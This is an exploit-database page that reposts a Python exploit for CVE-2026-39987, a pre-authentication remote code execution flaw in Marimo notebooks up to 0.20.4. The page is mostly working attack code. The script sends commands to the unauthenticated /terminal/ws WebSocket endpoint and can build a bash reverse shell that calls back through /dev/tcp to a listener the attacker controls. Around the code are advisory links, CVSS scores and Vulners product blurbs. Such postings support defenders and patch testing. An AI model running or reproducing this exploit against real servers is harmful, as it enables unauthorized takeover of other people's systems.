Lucene search
+L

Marimo 0.20.4 - RCE

🗓️ 02 Sep 2026 00:00:00Reported by Jason BernierType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 6 Views

Pre-auth RCE in Marimo up to 0.20.4 via WebSocket endpoint enabling command execution.

Related
Code
Title: Marimo  0.20.4 - RCE
Date: August 2nd, 2026
Exploit Author: Jason Bernier
Vendor Homepage: https://marimo.io/
Software Link: https://github.com/marimo-team/marimo
Version: <=0.20.4
Tested on: Ubuntu 24.04
CVE: CVE-2026-39987
Advisory:
https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc

"""
Exploit script for CVE-2026-39987, a pre-authentication Remote Code Execution (RCE) vulnerability in Marimo.
The exploit leverages a WebSocket endpoint to execute arbitrary commands on the target system.
Based on the advisory located at https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
This exploit will either execute a reverse shell or any command specified with the -c argument.
https://github.com/jasonbernier/
"""

import websocket
import argparse
import time
import sys
import urllib.parse
import ssl
import socket
import threading
import subprocess
from typing import Optional

# Global variables for reverse shell
LHOST: Optional[str] = None
LPORT: Optional[int] = None
shell_socket: Optional[socket.socket] = None
conn: Optional[socket.socket] = None

def send_reverse_command(command: str) -> str:
    """Send command to target and receive output"""
    try:
        if not conn:
            print("[-] No active connection")
            return ""

        conn.sendall(command.encode() + b"\n")
        time.sleep(1)

        output = b""
        while True:
            try:
                data = conn.recv(4096)
                if not data:
                    break
                output += data
            except socket.timeout:
                break

        return output.decode('utf-8', errors='ignore')
    except Exception as e:
        print(f"[-] Error sending command: {str(e)}")
        return ""

def exploit(target_url: str, command: str = None) -> None:
    """
    Exploit CVE-2026-39987 to execute commands via WebSocket terminal.

    Args:
        target_url: Target URL (e.g., http://localhost:2718)
        command: Command to execute (default: id && whoami && hostname)
    """
    # Normalize URL
    if not target_url.startswith(('http://', 'https://')):
        target_url = f"http://{target_url}"

    parsed = urllib.parse.urlparse(target_url)
    if parsed.scheme not in ['http', 'https']:
        print(f"[-] Invalid scheme: {parsed.scheme}")
        sys.exit(1)

    # Determine protocol based on port
    if parsed.port == 443 or parsed.scheme == 'https':
        ws_scheme = 'wss'
    else:
        ws_scheme = 'ws'

    # Build WebSocket URL
    ws_path = parsed.path.rstrip('/')
    if ws_path.endswith('/terminal/ws'):
        ws_path = ws_path.replace('/terminal/ws', '/terminal/ws')
    elif '/terminal/ws' not in ws_path:
        ws_path = f"{ws_path}/terminal/ws"

    ws_url = f"{ws_scheme}://{parsed.netloc}{ws_path}"

    try:
        print(f"[+] Connecting to {ws_url}...")
        # Disable SSL verification for self-signed certs
        ws = websocket.create_connection(ws_url, sslopt={"cert_reqs": ssl.CERT_NONE})

        # Wait for initial output to drain
        try:
            while True:
                ws.settimeout(1)
                ws.recv()
        except:
            pass

        # Execute command
        if command:
            print(f"[+] Executing reverse shell!")
            ws.send(command + "\n")
            time.sleep(2)

            # Get output
            output = ""
            try:
                while True:
                    ws.settimeout(1)
                    chunk = ws.recv()
                    output += chunk
            except:
                pass

            print(f"[+] Check your netcat listener on port {LPORT}!")


        ws.close()

    except Exception as e:
        print(f"[-] Error: {str(e)}")
        sys.exit(1)


def main():
    """Parse arguments and execute exploit."""
    parser = argparse.ArgumentParser(
        description='CVE-2026-39987 Exploit for Marimo Pre-Auth RCE',

    )
    parser.add_argument(
        '-u', '--url', required=True,
        help='Target URL (e.g., http://localhost:2718)'
    )
    parser.add_argument(
        '-c', '--command',
        help='	Command to execute (default: id && whoami && hostname)'
    )
    parser.add_argument(
        '--lhost',
        help='Local host for reverse shell (requires --lport)'
    )
    parser.add_argument(
        '--lport', type=int,
        help='Local port for reverse shell (requires --lhost)'
    )

    args = parser.parse_args()

    # Validate arguments
    if (args.lhost and not args.lport) or (args.lport and not args.lhost):
        print("[-] Both --lhost and --lport must be provided together")
        sys.exit(1)

    # Set up reverse shell if specified
    if args.lhost and args.lport:
        global LHOST, LPORT
        LHOST = args.lhost
        LPORT = args.lport

        # Generate reverse shell payload
        payload = (
            f"bash -c 'bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1 &' && id"
        )

        # Send payload directly
        exploit(args.url, payload)

    else:
        # Default command if none specified
        default_cmd = "id && whoami && hostname"
        cmd = args.command or default_cmd
        exploit(args.url, cmd)


if __name__ == "__main__":
    main()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Sep 2026 00:00Current
7.3High risk
Vulners AI Score7.3
CVSS 3.19.8
CVSS 49.3
EPSS0.98945
SSVC
6